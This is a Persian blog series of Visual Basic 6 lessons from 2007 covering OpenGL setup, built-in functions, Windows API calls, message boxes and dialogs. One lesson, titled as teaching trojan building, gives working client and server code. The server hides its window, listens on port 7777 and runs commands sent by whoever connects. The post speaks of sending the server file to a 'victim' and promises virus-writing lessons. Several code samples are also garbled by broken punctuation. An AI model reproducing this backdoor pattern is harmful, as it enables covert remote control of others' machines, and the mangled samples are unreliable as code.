به احتمال ۹۸٪ شما کتابخانه( OpenGL (vbogl.tlb رو در داخل کامپیوترتون ندارین اما من این رو از قبل پیش بینی کردم. و لینک دانلود کتابخانه OpenGL رو براتون گذاشتم.

Download VBOpenGL 1.2 for Microsoft

                  

بعد از اینکه فایل مورد نظر رو دانلود کردین ویژوال بیسیک رو باز کنین و از منوی Project گزینه Refrences رو بزننین و در پنجره باز شده دکمه فرمان Browse رو بزنین و آدرس فایل vbogl.tlb (همون فایلی که دانلود کردین) رو باز کنین و بعد از انتخاب کردن فایل vbogl.tlb روی دکمه فرمان Open کلیک کنید.

بعد در داخل کادری که لیست DLL های شناسایی شده است به دنبال VB OpenGL API 1.2 بگردین و تیک کنار اون رو فعال کنین.

باریکلا.اگه احیانا مشکلی پیش اومد(خدانکنه) در قسمت نظرات بگو.

برای اینکه کدهایی که ما مینویسیم با استفاده از روتین های OpenGL هست در داخل فرم ما نمایش داده نمیشه و ما برای اینکه کدهایی که مینویسیم اجرا بشه باید تغیراتی در برنامه ایجاد کنیم برای اینکار:در ویژوال بیسیک از منوی Project روی Project Properties کلیک کنید تا جعبه تنظیم خواص پروژه باز بشه.بعد از لیست باز شو Startup Object گزینه Sub Main را انتخاب کنید و OK را بزنید.

حالا میریم سراغ کد نویسی:

از منوی Project گزینه Add Module را بزنید تا برای شما یک ماژول جدید بسازد.بعد خاصیت Name ماجول رو برابر با OpenGLMain قرار دهید.

حالا ما کدهای اصلی که موتور گرافیکی ۳ بعدی ما رو میسازه مینویسیم.

روی ماجول جدید خود دابل کلیک کنید تا پنجره View Code باز بشه.و بعد کدهای زیر رو بنویسید:

()Sub Main

   Dim Done As Boolean
   Dim frm As Form
   Done = False
   Set frm = New Form1
   If Not CreateGLWindow(frm, 640, 480, 16) Then Done = True
  
   Do While Done = False
   If (DrawGLScene = False) Then
   Unload frm
   Else
  ( SwapBuffers (frm.hDC

   DoEvents
   End If
   Done = frm.Visible = False
   Loop
   Set frm = Nothing
   End
End Sub

در قطعه کد بالا ابتدا یک متغیر از نوع بولن تعریف میکنیم . تا وقتی که متغیر Done مقدار False داشته باشد برنامه ما ادامه پیدا میکند ولی هر گاه که متغیر Done برابر با True شود برنامه خاتمه پیدا میکند. در خط بعدی ما یک متغیر به نام frm از نوع Form تعریف میکنیم و در خط پنجم نیز متغیر frm را به فرم برنامه مرتبط میکنیم.در خط ششم نیز از یک دستور شرطی استفاده کردیم که هرگاه CreateGLWindow (که در ادامه آن را میسازیم و کار آن ساخت پنجره ای است که اشیا دو بعدی و چند بعدی ما در آن نمایش داده شوند) برابر با مقداری خلاف قوانین ما شد برنامه خاتمه پیدا کند و باعث هنگ کردن سیستم نشود. در ادامه ما باید پنجره نمایش اشیا را که نام آن CreateGLWindow است بسایم. برای این کار کدهای زیر را در ماجول بنویسید:

Public Function CreateGLWindow(frm As Form, Width As Integer, Height As Integer, Bits As Integer) As Boolean
   Dim PixelFormat As GLuint
   Dim PFD As PIXELFORMATDESCRIPTOR
  
   PFD.cColorBits = Bits
   PFD.cDepthBits = 16
   PFD.dwFlags = PFD_DRAW_TO_WINDOW Or PFD_SUPPORT_OPENGL Or PFD_DOUBLEBUFFER
   PFD.iLayerType = PFD_MAIN_PLANE
   PFD.iPixelType = PFD_TYPE_RGBA
   PFD.nSize = Len(PFD)                         'X
   PFD.nVersion = 1
   
       PixelFormat = ChoosePixelFormat(frm.hDC, PFD)                         'X
   If PixelFormat = 0 Then
   KillGLWindow
   MsgBox "Can't set the:", 16
   CreateGLWindow = False
   End If
  
   If SetPixelFormat(frm.hDC, PixelFormat, PFD) = 0 Then
   KillGLWindow
   MsgBox ""                     'X
   CreateGLWindow = False
   End If
   
  ( hrc = wglCreateContext(frm.hDC

   If hrc = 0 Then
   KillGLWindow
   MsgBox "Can't rendering Context:", vbExclamation, "ERROR

   CreateGLWindow = False
   End If
  
   If wglMakeCurrent(frm.hDC, hrc) = 0 Then
   KillGLWindow
   MsgBox "Can't Active rendering Context:", vbExclamation, "ERROR
   CreateGLWindow = False
   End If
   frm.Show
   If Not InitGL() Then
   KillGLWindow

MsgBox "Initialize Failed!",vbExclamation,"Error
   CreateGLWindow = False
   End If
  
   CreateGLWindow = True
  
  
End Function

توجه: از نوشتن کلماتی که با رنگ سبز هستند خودداری کنین چون من ویندوزم فارسی نویسی نداره و وقتی که در داخل وبلاگم انگلیسی مینویسم علامت هایی مثل (=+-/.":"/.()) و امثال اینها در جملات جا به جا میشن و موجب گمراهی شما میشن.

انشاالله سورس های آمادشون رو هم براتون میزارم تا مشکلات به ۰٪ برسه.

در داخل روتین بالا دو تابع دیگر به نام های KillGLWindow و InitGL فراخوانی شده اند که ما باید اونها رو در داخل ماجولمون بنویسیم.

کار تابع CreateGLWindow در اصل ساخت Engin (موتور) گرافیکی است و توابع دیگر مانند KillGL و InitGL کارهایی از قبیل خطا زدایی انجام میدهند بنابر این تابع CreateGLWindow مهمترین تابع برنامه ماست چون که موتور گرافیکی ما رو میسازه.

برای نوشتی تابع KillGLWindow کدهای زیر رو به ماجولتون اضافه کنین:

Public Sub KillGLWindow()                          'X
  
   If hrc Then
   If wglMakeCurrent(0, 0) = 0 Then
   MsgBox "Rilase DC and RC Failed.", vbInformation, "ShutDownError"                     'X
   End If
   If wglDeleteContext(hrc) = 0 Then
   MsgBox "Failed", vbInformation, "ERROR"                       'X
   End If
   hrc = 0
   End If
  
End Sub

خوب ما تا حالا حدود ۷۰٪ کارا رو انجام دادیم.

حالا باید تابع InitGL رو بنویسیم که کار این تابع پاک کردن صفحه نمایش و آماده سازی آن برای رسم اشکال سه بعدی است.

برای نوشتن تابع InitGL کدهای زیر رو به ماجول برنامتون اضافه کنین:

Public Function InitGL() As Boolean
   glClearColor 0.5, 0.5, 1, 0
   InitGL = True
End Function

اگه بخواهیم به صورت نگاهی به مساله توجه کنیم شما تا الآن ۹۰٪ کارارو انجام دادین.

برای ادامه کار شما باید یک ماجول دیگه با نام DrawShape بسازین . برای این کار از منوی Project روی منوی Add Module کلیک کنید و خاصیت Name ماجول جدید خود را برابر با DrawShape کنید.

حالا باید تابعی رو بنویسیم که کار رسم اشکال دو بعدی و سه بعدی رو برعهده داره.اسم این تابع DrawGLScene است که برای نوشتن آن کدهای زیر را به ماجول DrawShape اضافه کنین:

Publice Function DrawGLScene() as Boolean

glClear clrcolorbufferbit 

DrawGLScene = True

End Function

حالا برنامه ای رو که ساختین اجرا کنین اگه کارها رو درست انجام داده باشین باید رنگ پشت زمینه فرم شما آبی رنگ بشه در غیر این صورت به دنبال اشتباهی که کردین بگردین.

اگه از این آموزش خوشتون اومد یک نظر بدین تا قسمت دوم رو هم بزارم.

در جلسه بعد آموزش ساخت اشکال دو بعدی را به شما دوستان عزیز میدم.

 |+| نوشته شده در  سه شنبه پانزدهم خرداد 1386ساعت 21:23  توسط علی  | 

سلام به تمام بروبچ .  حالتون چطوره ؟ خوبین خوب میدونستم که حالتون بده!

امروز جلسه سوم آموزش ویژوال بیسیک رو میزارم در امروز در حدود ۲۵ تا از توابع داخلی ویژوال بیسیک رو معرفی میکنیم و به کار کردن با اونها میپردازیم.

۱- تابع ABS قدر مطلق یک عدد رو برمیگردونه.

۲- تابع sin سینوس یک زاویه را برمیگردونه.

۳- تابع Cos کسینوس یک زاویه رو برمیگردونه.

۴- تابع Tan تانژانت یک زاویه رو برمیگردونه.

۵- تابع SQR جذر یک عدد رو برمیگردونه.

۶- تابع Atn آرک تانژانت یک عدد رو برمیگردونه.

۷- تابع RND یک عدد رو به صورت تصادفی و شانسی بر میگردونه.

۸- تابع Int جزء صحیح عدد اعشاری رو برمیگردونه.(مثل( Int(1.8 که عدد ۱ رو برمیگردونه.)

۹- تابع Fix این تابع قسمت اعشاری عدد را در صورت وجود حذف میکنه.

۱۰- تابع SGN علامت یک عدد رو برمیگردونه و علامت های اون به صورت زیر است:

اگر عدد

مقدار برگشتی تابع

+باشد

۱

۰ باشد

۰

- باشد

۱-

 

 

 

 

۱۱- تابع Val یک عدد را که به صورت رشته ای است به صورت عددی در می آورد.

۱۲- تابع ASC یک حرف یا کاراکتر رو دریافت میکنه و عدد اسکی اون رو برمیگردونه.

۱۳ - تابع Chr یک عدد رو میگیره و کاراکتر اسکی آن عدد رو نشون میده .(عدد بین ۰ تا ۲۵۵)

۱۴- تابع DateSerial روز و ماه و سال را میگیرد و میان آنها علامت ممیز قرار میدهد و به تاریخ تبدیل میکند

۱۵- تابع DIR فایلهایی که در داخل یک درایو یا فولدر هستن بر اساس فرمت آنها برمیگرداند.

۱۶- تابع Environ با گرفتن یک عدد بزرگتر از ۰ مشخصات سیستم رو بر اساس اون عدد برمیگردونه.

۱۷- تابع FileCopy باگرفتن نشانی مبدا و نشانی مقصد یک فایل رو از مبدا به مقصد کپی میکنه.

۱۸- تابع FileLen نشانی یک فایل را میگیرد و حجم آن را بر حسب بایت برمیگرداند.

۱۹- تابع Hour یک ساعت (مثل ۱۰:۵۵:۱۱ ) رو میگیره و ساعت اون رو برمیگردونه .

۲۰- تابع Minute یک ساعت رو مثل تابع بالا میگیره و دقیقه اون رو برمیگردونه.

۲۱- تابع Second یک ساعت رو مثل بالا میگیره و ثانیه اون رو برمیگردونه.

۲۲- تابع Left یک رشته رو میگیره و به تعداد دلخواه ازسمت چپ اون رشته حرف جدا میکنه و برمیگردونه.مثل(Left("Hello",2  که مقدار برگشتی اون برابر با He میشه.

۲۳- تابع Right مثل تابع Left عمل میکنه با این تفاوت که از سمت چپ حروف رو انتخاب میکنه.

۲۴- تابع StrReverse یک رشته رو میگیره و برعکس اون رو بر میگردونه.مثل strReverse("Ali")0 که مقدار برگشتی اون برابر با ilA است.

 


این توابعی که گفته شد از جمله مهمترین توابع ویژوال بیسیک بودند امیدوارم به شما کمک کنند.

اگر توابع بیشتری خواستین میتونین در قسمت نظرات بگین.

فعلا گودی بای.

 

 |+| نوشته شده در  سه شنبه هشتم خرداد 1386ساعت 20:16  توسط علی  | 
با نام خدا قسمت سوم آموزش ویژوال بیسیک رو براتون میزارم .امید وارم از مطالب قبلی بهره برده باشین .

و اما از امروز به بعد به آموزش متوسط و پیشرفته ویژوال بیسیک میپردازم.به نظر من مطالبی که قبلا توضیح دادم برای یک فرد مقدماتی کافیه و از اینجا به بعد شروع به حرفه ای شدن میکنه.

میریم سر اصل مطلب و اونم اینه که امروز آموزش کار با API های ویندوز و ساخت تروجان توسط ویژوال بیسیک میپردازیم.(همون طور که قول داده بودم در جلسه های بعد به آموزش های پیشرفته تر میپردازم)

خوب!!!!!

دیگه چرت و پرت گفتن کافیه و ما باید به آموزشمون بپردازیم . شما میتوانید سوال های خودتون رو در قسمت نظرات بگین و من رو توی زحمت بندازین و باعث بشین که من خودم رو آزمایش کنم.


توابع API در واقع توابع داخلی ویندوز هستند.به وسیله توابع API ویندوز ما میتونیم هرکاری که در ویندوز قابل انجام است در ویژوال بیسیک و در برنامه های خودمون انجام دهیم.کارهایی که ویندوز انجام میده مثلا فایل های صوتی با فرمت های گوناگون رو پخش میکنه - باعث میشه که ما به اینترنت متصل بشیم باعث میشه که کارهای گرافیکی قدرتمند بکنیم - باعث میشه که فایلها رو فشره کنیم و هزاران کار دیگه. تمام روتین های API ویندوز در درون کتابخانه های با لینک دینامیک یا (DLL (Dynamic Link Library قرار دارند. چون این فایل ها به همراه ویندوز عرضه و نصب میشوند در تمامی رایانه هایی که با سیستم عامل ویندوز کار میکنند وجود دارند .

از جمله DLL های مهم و پرکاربرد ویندوز میتوان به DLL های زیر اشاره کرد:

User32.DLL

GDI32.DLL

Kernel32.DLL

ما برای استفاده از توابع API باید آنها را فراخوانی کنیم.برای فراخوانی یک روتین API ازدستور Declare استفاده میکنیم که شکل کلی این دستور به صورت زیر است:

Private Declare [Sub or Function] procName Lib "LibraryName" [Alias "asAlias"]                    'xxx

در فراخوانی یک تابع API ابتدا آن را به صورت Private یا Public بعد Declare مینویسیم سپس میگوییم که ساب روتین(Sub) باشد یا فانکشن (Function) . کلمه procName نام تابعی است که ما میخواهیم از آن استفاده کنیم و LibraryName نام کتابخانه DLL ای است که این تابع در آن کتابخانه است.

شما برای مشاهده توابع API ویندوز میتونین با رفتن به Start و AllPrograms و Microsof VB6 و بعد رفتن به شاخه Microsof VB6 Tools و اجرا کردن برنامه API Viewer  توابع API ویندوز رو مشاهده کنین.

برای اینکه با توابع API بیشتر آشنا بشین یک مثال ساده و زیبا براتون میزنم.

نمونه برنامه ۱: یک پروژه استاندارد باز کنید و روی فرم خودتون یک عدد دکمه فرمان(Command1) قرار بدین سپس از منوی View در ویژوال بیسیک گزینه Code را بزنید با این کار پنجره کدها باز میشود .در قسمت General پنجره کد دستورات زیر را بنویسید:

Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long

به علت اینکه مرورگر اینترنت شما نمیتونه کل این تابع رو در یک خط نمایش بده ممکنه که ۲ یا ۳ خط بشه اگه مشکلی پیش اومد بگین تا سورس این برنامه رو بزارم.

بعد از پنجره کدها خارج شوید و روی دکمه فرمانی که روی فرم گذاشتین دوبار کلیک کنید و سپس کدهای زیر رو بنویسید:

Private Sub Command1_Click

MciSendString "Set CDAudio Door Open" ,0 ,0 ,0

End Sub

بعد برنامه رو اجرا کنین و روی دکمه فرمان خودتون کلیک کنید تا نتیجه کار رو ببنید . بعد از کلیک شدن دکمه فرمان باید سی دی رام شما بیرون بیاد.اگر مشگلی پیش اومد بگو تا راهنماییت کنم.

شما میتونین برای بستن در سی دی رام خودتون در روال کلیک دکمه فرمان به جای عبارت Open عبارت Closed رو بنویسین.

چطور بود حالی بردینا.

API های بسیار زیادی وجود داره که اگر یه سایت بخواد دونه دونه توضیحشون بده فقط بیشتر از یک ماه تایپ کنه . اما کلیه API های ویندوز به دردخور نیستند و باید دروشون ریخت و فقط تعداد اندکی از آنها برای استفاده در ویژوال بیسیک به صرفه است.

در قسمت بعد نیز که نحوه نوشتن تروجان با ویژوال بیسیک است API های ویندوز رو بیشتر آموزش میدم پس                                                با ما همراه باشید!!!!!!!!!


آموزش ساخت تروجان با ویژوال بیسیک

خوب در این جلسه چگونگی ساخت تروجان با ویژوال بیسیک رو آموزش میدم.

در این جلسه شما ابتدا با یک تروجان (مانند Sub 7 ) آشنا میشین و قسمت های مختلف اون رو مورد تجزیه و تحلیل قرار میدینو بعد با یک مثال ساده یک تروجان نسبتا پر قدرت میسازین.

کار تروجان به این صورت است که ابتدا فایل سرور را به یک نفر ارسال میکند و با اجرا شدن این فایل سرور کامپیوتر شخص بدبخت(Victim) برای کار تروجان ما یک راه باز میزاره.برای اینکه به کامپیوتر شخصی فایل سرور(Server) را ارسال کنیم نیاز به یک آدرس یا نشانی داریم که نشانی میتونه IP باشه یا میتونه نام کامپیوتر فرد قربانی باشه.بعد از اینکه تروجان ما به کامپیوتر فرد قربانی متصل بشه (مثل زالو بهش بچسبه) اطلاعاتی رو برای کامپیوتر فرد قربانی ارسال میکنه که این اطلاعات میتونند کارهایی از قبیل روشن خاموش کردن مانیتور باز و بسته کردن در سی دی درایو و کارهایی از این قبیل انجام بده.

برای اینکه ما بتونیم به کامپیوتر فرد قربانی متصل بشیم به یک منبع و یا یک کنترل احتیاج داریم که اطلاعات ما رو از طریق شبکه به کامپیوتر فرد قربانی بفرسته.در ویژوال بیسیک کنترلی وجود داره که این کار رو انجام میده که اسم این کنترل Win Socket است.

نمونه برنامه برای یادگیری ساخت تروجان :

قبل از شروع باید بگم به خاطر اینکه سایتی که فایل های تصویری رو بشه داخلش آپلود کرد گیر نیاوردم نتونستم عکس رو همره با آموزش بزارم اگه مشگلی پیش اومد حتما بگین یا اگه کسی یه سایت که بشه داخلش عکس آپلود کرد بلده بگه ممنون میشم.

ابتدا یک پروژه جدید از نوع Standard EXE باز کنید.

برای ساخت برنامه Clint با زدن کلیدهای ترکیبی Ctrl + T یا با کلیک کردن گزینه Components از منوی Project جعبه گفتگوی انتخاب کنترل ها را باز کنید.سپس به دنبال Microsoft WinSock Control 0.6 بگردین و چک بوکس کنار اون رو فعال کنین تا کنترل Win Sock به جعبه ابزار شما اضافه بشه . شکل کنترل WinSock یه چیزی مثل ۲ تا کامپیوتر ه که با یک خط به هم متصل شدند.

با دوبار کلیک کردن روی کنترل WinSock  اون رو به فرمتون اضافه کنید.

۶ عدد دکمه فرمان (Command) به فرمتون اضافه کنین و بعد از اون ۱ عدد تکست بوکس (Text Box) دیگر به فرم اضافه کنین.

خاصیت کنترل ها به صورت زیر هست:

ردیف نام کنترل خصوصیت Caption
۱ Command1 Connect
2 Command2 !Open The CDRom
3 Command3 Close The CDRom
4 Command4 Run OSK
5 Command5 Run NotPad
6 Command6 Close Trojan

 

 

 

 

 

شما میتونید به سلیقه خودتون کنترل ها رو روی فرم قرار بدین.

نوشتن کد برنامه:

روی دکمه فرمان Connect دابل کلیک کنید تا روال مربوط به کلیک شدن دکمه فرمان Command1 با بشه سپس کدهای زیر رو بنویسید:

Private sub Command1_Click

WinSock1.Close

WinSock1.Connect Text1.Text , 7777

End Sub

در قطعه کد بالا کنترل WinSock از طریق Ip که در Text1 نوشته میشه با پورت ۷۷۷۷ به کامپیوتر قربانی متصل میشه.

در مرحله دوم روی دکمه فرمان Open CD Rom دوبار کلیک کنید.و بعد قطعه کد زیر را بنویسید:

Private Sub Command2_Click

Dim strData as String

"strData = "OPENCD

WinSock1.SendData   strData

End Sub

در قطعه کد بالا با فشرده شدن دکمه فرمان Open CDRom ابتدا یک متغیر از نوع رشته ای درست میشه و در خط بعد مقدار متغیر ما (OPEN) برابر با OPENCD میشه و بعد مقدار متغیر برای کامپیوتر قربانی فرستاده میشه.

مرحله سوم:روی دکمه فرمان Close CDRom دابل کیک کنید و سپس کدهای زیر را بنویسید:

Private Sub Command3_Click

 Dim strData as String

"strData = "CLOSECD

WinSock1.SendData  strData

End Sub

مرحله چهارم:روی دکمه فرمان Run OSK دابل کلیک کنید و سپس قطعه کد زیر رو بنویسید:

Private Sub Command4_Click

Dim strData as String

"strData = "RunWindowOSK

WinSock1.SendData  strData

End Sub

مرحله پنجم:روی دکمه فرمان Run Note Pad دابل کلید کنید و قطعه کد زیر رو بنویسید:

Private Sub Command5_Click

Dim strData as String

"strData = "RunWindowNotePad

winSock1.SendData  strData

End Sub

مرحله ششم: روی دکمه فرمان Close Trojan دوبار کلیک کنید و قطعه کد زیر رو بنویسید:

Private Sub Command6_Click

Dim strData as String

"strData = "CloseMe

WinSock1.SendData  strData

End Sub

مرحله ششم برای تروجان ما مرحله مهمی است که باعث میشه که اتصال رو با فرد قربانی قطع کنیم و به برنامه پایان دهیم.

مرحله  هفتم: روی کنترل WinSock خودتون دوبار کلیلک کنید و در روال رویداد Connect کنترل WinSock قطعه کدهای زیر رو بنویسید:

Private Sub WinSock1_Connect

"WinSock1.SendData "Trojan

End Sub

مرحله هشتم:حالا در روال رویداد DataArival کنترل WinSock قطعه کد زیر را بنویسید:

(Private Sub WinSock1_DataArival(Byval BytesTotal as Long

Dim  StrData as String

WinSock1.GetData StrData , vbString

End Sub

با قطعه کدهایی که در بالا نوشتیم تازه برنامه Clint رو ساختیم و تازه حدود ۳۰ درصد کارو انجام دادیم

برای ساختن کامل برنامه و همچنین ساخت برنامه Server باید کارهای زیر رو انجام بدهید تا ۷۰ درصد دیگه کار انجام بشه.

ابتدا یک پروژه دیگه از نوع Standard EXE باز کنید و یک کنترل WinSock به نام WinSock1 به فرم خودتون اضافه کنید.

حالا میریم سراغ API های ویندوز اگه جلسه قبل رو مطالعه کرده باشین با این تابع API آشنا هستید . کار این تابع اینه که باعث میشه در CDRom یا Writer باز و بسته بشه.

با بازکردن پنجر کد (پنجره ViewCode ) در قسمت General کدها قطعه کد زیر رو بنویسید:

Private Declare Function mciSendString Lib "Winmm.dll" Alias "mciSendStringA" (Byval lpstrCommand as String , Byval lpstrReturnString as String , Byval uReturnLength as Long , Byval hwndCallBack as Long) as Long

حالا برای اینکه سرور ما دستوراتی که از Clint میاد اجرا کنه ما برای اون دستورات چند تا تابع مینویسیم

در ابتدا تابع باز شدن در CDRom رامینویسیم . در قسمت General پنجره کد کدهای زیر را بنویسید:

Private Function EjectCD

mciSendString "Set CDAudio Door Open" , 0 , 0 , 0 

End Function

بعد از تابع بالا تابع بسته شدن درب CDRom رو مینویسیم:

Private Function CloseCD

mciSendString "Set CDAudio Door Closed" , 0 , 0 , 0

End Function

حالا از پنجره View Code خارج بشین و روی فرم خودتون دابل کلیک کنید و در روال رویدار Load فرم کدهای زیر رو بنویسید:

Private Sub Form1_Load

WinSock1.LocalPort = 7777

WinSock1.Listen

Form1.Hide

End Sub

در خط اول نوشتیم که کنترل WinSock فقط از طریق پورت ۷۷۷۷ ارتباط برقرار کند و در خط دوم به برنامه سرور دستور Listen (گوش دادن) به Clint داده شد و در خط سوم فرم سرور مخفی بشه.

حالا از پنجره ViewCode خارج بشین و در روال رویداد ConnectionRequest کنترل WinSock کدهای زیر رو بنویسید:

(Private Sub WinSock1_ConnectionRequest (ByVal RequestID as Long 

If WinSock1.State <> sckClosed then WinSock1.Close

WinSock1.Accept  RequestID

End Sub

خوبه خوبه تا فعلا ۸۵ درصد کارها رو انجام دادین برای تکمیل کارها در روال رویداد DataArival کنترل WinSock قطعه کد زیر رو بنویسید:

(Private Sub WinSock1_DataArival (ByVal bytesTotal as Long 

DoEvents

Dim strData as String

(Call WinSock1.GetData (strData$ , vbString

DoEvent

Select Case strData

"Case "CloseMe

Unload Me

"Case "OPENCD 

EjectCD

"Case "CLOSECD

CloseCD

"Case "RunWindowOSK

"shell "OSK.exe

"Case "RunWindowNotePad

"Shell "NotePad.exe

End Select

End Sub

خوب حالا میتونین یه نفس راحت بکشین چون که کار ما تموم شد برای تست کردن برنامه در کامپیوتر خودتون ابتدا هر دو برنامه که ساختین (Clint and Server) اجرا کنین بعد درداخل Text1 در برنامه Clint شماره ۱۲۷.۰.۰.۱ رو بنویسید و بعد دکمه Connect رو بزنین و بعد بازدن دکمه فرمان های OpenCDRom و CloseCDRom و غیره برنامتون رو تست کنین و حالشو ببرین.


خوب بالاخره جلسه سوم هم به پایان رسید و من از شما یه خواهش کوچولو دارم

نظر بده و سوالات خودت رو بپرس مطمعن باش جوابتو میگیری. 

 |+| نوشته شده در  سه شنبه هشتم خرداد 1386ساعت 20:12  توسط علی  | 
با سلام خدمت تمام بروبچ گل ایرون.

قبل از شروع آموزش قسمت دوم ویژوال بیسیک باید بگم نظر دادنتون خیلی بد بود اصلا کسی نظر نداد ماهم خیط شدیم رفت پیش رفیق رفقا آبرومون رفت. پس نظر یادتون نره.

صحبتی برای برنامه نویس های حرفه ای و متوسط:یه مژده برای افراد متوسط و حرفه ای دارم که بعد از نوشتن قسمت سوم آموزش ویژوال بیسیک به آموزش حرفه ای ویژوال بیسیک میپردازیم. آموزش های پیشرفته و حرفه ای درس چهارم عبارتند از : نوشتن برنامه های گرافیکی سه بعدی در ویژوال بیسیک توسط DirectX و OpenGL .آموزش ساخت تروجان با ویژوال بیسیک . آموزش ساخت ویروس  با ویژوال بیسیک و ...

پس چی داداش ضرری نداره دوباره به وبلاگ من سربزنی.


خوب میریم سراغ آموزش قسمت دوم ویژوال بیسیک اون هم در حد مقدماتی.

 

در درس امروز درباره جعبه پیام ها جعبه گفتگو و کنترل تایمر صحبت هایی میکنیم.

جعبه پیام ها:

جعبه پیام ها در ویژوال بیسیک بسیار کاربرد دارند به طوری که تمامی برنامه هایی که شما در سیستم عاملتان از آن استفاده میکنید دارای جعبه پیام های متعددی هستند و باعث میشوند که برنامه با کاربر بیشتر ارتباط برقرار کند و باعث حرفه ای تر شدن برنامه ما شود.

در ویژوال بیسیک جعبه پیام ها به دو دسته تقسیم میشوند که عبارتند از:

۱- جعبه پیام هایی که فقط پیام را به کاربر نشان میدهند و یک فرمان از کاربر میگیرند.(MsgBox).

۲- جعبه پیام هایی که علاوه بر نشان دادن پیام یک رشته و یک فرمان از کاربر دریافت میکند.(InputBox).

1- MsgBox

MsgBox خود یک تابع است که یک جعبه پیام به کاربر نشان میدهد.شکل پایین.

                                                                                          

در شکل بالا شما مشاهده می کنید که جعبه پیام ما یک عنوان(Title) و یک آیکون و تعدادی دکمه فرمان است.

ساختار کلی تابع MsgBox به صورت زیر است.

 به این صورت: (MsgBox (Prompt,IntStyle,Title

که در شکل بالا Prompt همون جمله ای است که به پیام را میرساند.در شکل بالا(Do You WantTo Exit)

در تابع MsgBox ; دکمه فرمان ها آیکون جعبه پیام و تعداد دکمه فرمان ها توسط IntStyle مشخص میشود در زیر در مورد آرگومان IntStyle بیشتر صحبت میکنیم.

vbOkOnly                  دکمه OK

vbOKCancel              دکمه های OK و Cancel

vbAbortRetryIgnore   دکمه های Abort,Retry,Ignore

vbYesNoCancel         دکمه های Yes,No,Cancel

vbYesNo                   دکمه های Yes,No

vbRetryCancel           دکمه های Retry,Cancel

 

آیکون هایی که می توان استفاده کرد به شرح زیر است:

 

vbCritical               

vbQuestion            

vbExclamation       

vbInformation        

بین دکمه و ایکون باید علامت + بگذاریم. مقدارهایی که جعبه پیام می تواند بر گرداند به شرح زیر است:

 

نام ثابت

مقدار

vbOK

1

vbCancel

2

vbAbort

3

vbRetry

4

vbIgnore

5

vbYes

6

vbNo

7

برای بهتر یادگرفتن شما یک مثال ساده میزنیم.

مثال: یک دکمه فرمان روی فرمتون قرار بدین(CommandButton) سپس روی اون دوبارکلیک کنید تا پنچره کد باز شود سپس در روال رویداد Command1_click  کدهای زیر را بنویسید.

MsgBox "Do you want to Exit" , VBQuestion + vbYesNo , "Question

سپس برنامه رو اجرا کنید و روی دکمه فرمان کلیک کنید و نتیجه کار خودتون رو ببینید.

شما برای یادگیری بهتر میتونید در مثال بالا به جای VBQuestion , vbYesNo  مقادیر دیگری را قرار دهید.

توجه داشته باشید که اگر فقط (MsgBox (Prompt را بنویسید و آرگومان های دیگر را مقدار دهی نکنید جعبه پیام نمایش داده میشود ولی آیکون و عنوان ندارد و فقط یک دکمه فرمان دارد.امتحانش ضرر نداره.

مثال : در مثال یک به جای اینکه کل کد رو بنویسید فقط این رو بنویسید:

MsgBox "Do You Want To Exit

در تابع MsgBox می توان فهمید که کاربر کدام دکمه فرمان را کلیک کرده برای فهمیدن اینکه کاربر کدام دکمه فرمان جعبه پیام را زده است باید به صورت زیر عمل کنیم.

ابتدا باید یک متغیر از نوع عدد صحیح تعریف کنیم.سپس متغیر را برابر با تابع MsgBox قرار دهیم و با استفاده از یکی از دستورات شرطی If یا Select Case دستوراتی را که باید اجرا شوند  بنویسیم.

مثال ۱: ابتدا یک Command Button روی فرم قرار دهید سپس کدهای زیر را بنویسید:

Dim X as Integer

Private Sub Command1_Click

("X = MsgBox ("Do You Want To Exit" , vbQuestion + VbYesNo , "Question

If X =  6 then

End

Else

Exit Sub

End If

End Sub

تذکر اگر با کپی کردن کدها دچار مشکلی شدید خودتان آنها را بنویسید.

 

۲- InputBox

جعبه پیام InputBox جعبه پیامی است که از کاربر سوالی میکند و جواب را دریافت میکند.شکل زیر.

                                     

همان طور که در شکل میبینید جعبه پیام سوال کرده که اسم شما چیست و در قسمت پایین جعبه پیام محلی برای دریافت جواب سوال وجود دارد.

شکل کلی تابع InputBox به صورت زیر است:

(مقدار پیش فرض تکست جعبه پیام , عنوان , سوال) InputBox

مثال ۲: ابتدا یک CommandButton روی فرم قرار دهید سپس کدهای زیر را بنویسید.

Dim X as String

Private Sub Command1_Click

("X = InputBox("What is your name?","Question

MsgBox "Welcome:" + X ,vbInformation

End Sub


جعبه گفتگو ها در ویژوال بیسیک باعث می شود برنامه های شما پیشرفته تر شود و کاربران از کار کردن با برنامه شما لذت ببرند.

جعبه گفتگو ها در ویژوال بیسیک به شش(۶) دسته تقسیم میشوند که عبارتند از:

۱- جعبه گفتگوی انتخاب رنگ : گفتگویی که به کاربر امکان انتخاب رنگ مورد نظر و حتی دستکاری آن ها رامی دهد.

۲- انتخاب فونت: گفتگویی برای انتخاب فونت ونوع و اندازه و سبک آنها.

۳- باز کردن فایل: گفتگویی برای باز کردن فایل از پوشه ها و درایوها حتی درایو های شبکه.

۴- سیو(ذخیره کردن) فایل: گفتگویی برای ذخیره کردن فایل در پوشه ها و درایوها.

۵- چاپ: گفتگویی برای انتخاب چاپگر و سایر تنظیمات آن.

۶- کمک ویندوز: سیستم کمک ویندوز را فعال میکند و اگر برنامه شما دارای کمک باشد امکان استفاده از آن را برای کاربران فراهم می آورد.

 

برای اضافه کردن کنترل جعبه گفتگو به برنامه خود باید:

۱- بازدن کلیدهای ترکیبی Ctrl + T (از منوی Project گزینه Components را می زنیم) گفتگوی  Components را باز کنید .

۲- کنترل Microsoft Common Dialog Control 6.0 را پیدا کنید و آن را تیک بزنید.

۳- دکمه OK را بزنید تا این کنترل به جعبه ابزارتان اضافه شود.

----------------------------------------------------------------------------------------------------------->>

متدهای کنترل جعبه گفتگو عبارتند از:

۱- Show Open گفتگوی باز کردن فایل را نمایش خواهد داد.

۲- Show Save گفتگوی ذخیره کردن فایل را نمایش میدهد.

۳- Show Printer گفتگوی انتخاب چاپگر را نمایش میدهد.

۴- Show Color گفتگوی انتخاب رنگ را نمایش میدهد.

۵- Show Font گفتگوی انتخاب فونت را نمایش میدهد.

۶- Show Help گفتگوی کمک ویندوز را نمایش میدهد.

برای ست کردن اینکه کنترل ما کدام گفتگو را نمایش دهد به صورت زیر عمل میکنیم:

CommonDialog1.ShowOpen

CommonDialog1.ShowSave

CommonDialog1.ShowFont

و غیره به همین سادگی.

 

نمونه برنامه ۱ :

